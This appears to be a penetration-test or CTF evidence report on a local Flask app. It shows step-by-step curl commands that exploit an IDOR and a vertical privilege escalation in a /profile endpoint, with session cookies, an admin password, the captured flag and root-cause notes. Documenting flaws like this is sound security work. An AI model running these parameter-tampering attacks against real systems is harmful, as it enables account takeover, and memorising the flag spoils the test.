# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Horizontal IDOR - Unauthorized Email Modification

**Summary:**
- **Vulnerable location:** POST /profile endpoint (app.py:70, 75)
- **Overview:** Any authenticated user can modify any other user's email address by manipulating the hidden `username` form parameter, bypassing object-level authorization controls
- **Impact:** Complete horizontal privilege escalation allowing unauthorized access and modification of other users' profile data. Successfully modified admin account email from regular test user session.
- **Severity:** Critical

**Prerequisites:**
- Valid authenticated session (any user account)
- Test account credentials available: `test:test`

**Exploitation Steps:**

1. **Authenticate as low-privilege test user:**
```bash
curl -X POST http://localhost:36277/login \
  -d "username=test&password=test" \
  -c /tmp/cookies.txt
```
Expected: HTTP 302 redirect to /profile with session cookie set

2. **Verify baseline - View current profile as test user:**
```bash
curl -s http://localhost:36277/profile -b /tmp/cookies.txt
```
Expected: Profile page showing test user's email and hidden form field `<input type="hidden" name="username" value="test">`

3. **Exploit IDOR - Manipulate username parameter to target admin account:**
```bash
curl -X POST http://localhost:36277/profile \
  -b /tmp/cookies.txt \
  -d "username=admin&email=exploited@attacker.com"
```
Expected: HTTP 200 with success message in response body

4. **Verify exploitation - Login as admin and confirm email modification:**
```bash
# Login as admin
curl -X POST http://localhost:36277/login \
  -d "username=admin&password=#\$%^&*()adfjhasdfbjhas" \
  -c /tmp/admin_cookies.txt

# View admin profile
curl -s http://localhost:36277/profile -b /tmp/admin_cookies.txt
```
Expected: Admin profile page showing modified email `exploited@attacker.com`

**Proof of Impact:**

**Test Execution Results:**
- ✅ Successfully authenticated as test user (session: `eyJ1c2VybmFtZSI6InRlc3QifQ.aQLqOQ.IIxTJc7shC7mPAnt6PYfpYI0iQg`)
- ✅ Submitted POST request with `username=admin&email=exploited@attacker.com` while authenticated as test user
- ✅ Received HTTP 200 response confirming email update
- ✅ Verified by logging in as admin - email successfully changed to `exploited@attacker.com`

**Evidence Screenshot - Exploitation Request:**
```
POST /profile HTTP/1.1
Host: localhost:36277
Cookie: session=eyJ1c2VybmFtZSI6InRlc3QifQ.aQLqOQ.IIxTJc7shC7mPAnt6PYfpYI0iQg
Content-Type: application/x-www-form-urlencoded

username=admin&email=exploited@attacker.com
```

**Evidence Screenshot - Admin Email Verification:**
```
Admin's current email after exploitation: exploited@attacker.com
(Original email: admin@example.com)
```

**Root Cause:**
The vulnerable code at app.py:70 extracts the username from user-controlled form data (`username = request.form.get('username')`) and uses it directly in the database UPDATE query at line 75 without validating that the authenticated user (`session['username']`) owns the target resource. This creates a textbook IDOR vulnerability where any authenticated user can manipulate the `username` parameter to modify arbitrary users' data.

**Notes:**
This vulnerability demonstrates complete failure of object-level authorization. The application correctly implements authentication (session existence check) but completely lacks ownership validation for resource modification operations.

---

### AUTHZ-VULN-02: Vertical Privilege Escalation - Admin Flag Disclosure

**Summary:**
- **Vulnerable location:** POST /profile endpoint (app.py:81-82)
- **Overview:** Regular users can trigger admin-only functionality by manipulating the username form parameter, causing the application to check privileges against attacker-controlled input instead of authenticated session identity
- **Impact:** Vertical privilege escalation enabling regular users to access admin-only features. Successfully captured CTF flag intended only for admin accounts.
- **Severity:** Critical

**Prerequisites:**
- Valid authenticated session (any user account)
- Test account credentials: `test:test`

**Exploitation Steps:**

1. **Authenticate as regular test user:**
```bash
curl -X POST http://localhost:36277/login \
  -d "username=test&password=test" \
  -c /tmp/cookies.txt
```
Expected: HTTP 302 redirect with session cookie

2. **Trigger admin privilege escalation - Submit request with username=admin:**
```bash
curl -X POST http://localhost:36277/profile \
  -b /tmp/cookies.txt \
  -d "username=admin&email=anyemail@example.com"
```
Expected: HTTP 200 response with admin-only flag in message

3. **Extract flag from response:**
```bash
curl -s -X POST http://localhost:36277/profile \
  -b /tmp/cookies.txt \
  -d "username=admin&email=anyemail@example.com" \
  | grep -o 'FLAG{[^}]*}'
```
Expected: Flag value disclosed: `FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}`

**Proof of Impact:**

**Test Execution Results:**
- ✅ Authenticated as regular test user (non-admin)
- ✅ Submitted POST request with manipulated `username=admin` parameter
- ✅ Received admin-only flag in response: `FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}`
- ✅ Confirmed session remained as test user (session['username'] = 'test') while triggering admin behavior

**Evidence Screenshot - Flag Disclosure Response:**
```html
<p>Email updated successfully!FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}</p>
```

**Evidence Screenshot - Exploitation Flow:**
```
1. Session authenticated as: test
2. POST /profile with username=admin (manipulated parameter)
3. Admin check evaluated: if "admin" == "admin" (uses form data, not session)
4. Flag disclosed to test user despite non-admin session
5. Complete vertical privilege escalation achieved
```

**Root Cause:**
The admin privilege check at app.py:81 uses the username variable extracted from user-controlled form data (line 70: `username = request.form.get('username')`) instead of the authenticated session identity (should be `session['username']`). This fundamental confusion between user input and authenticated identity allows any user to trigger admin-only code paths by manipulating form parameters.

**Notes:**
This vulnerability demonstrates the critical difference between authentication (who you are) and authorization (what you can do). While the application correctly authenticates the test user's session, it completely fails to authorize admin-level operations by checking attacker-controlled input instead of the authenticated session context.

---

## Combined Exploitation

Both vulnerabilities exist in the same endpoint and can be exploited simultaneously in a single request, achieving both horizontal privilege escalation (IDOR) and vertical privilege escalation (admin access) at once.

**Single-Request Exploitation:**
```bash
curl -X POST http://localhost:36277/profile \
  -b /tmp/test_user_cookies.txt \
  -d "username=admin&email=attacker@evil.com"
```

**Combined Impact:**
1. Admin's email modified to `attacker@evil.com` (Horizontal IDOR)
2. Admin-only flag disclosed in response (Vertical escalation)
3. CTF objective achieved with single HTTP request
4. Complete authorization bypass demonstrated

**Test Results:**
- ✅ Single request successfully exploited both vulnerabilities
- ✅ Achieved horizontal privilege escalation (modified admin email)
- ✅ Achieved vertical privilege escalation (captured flag)
- ✅ Demonstrated complete failure of authorization model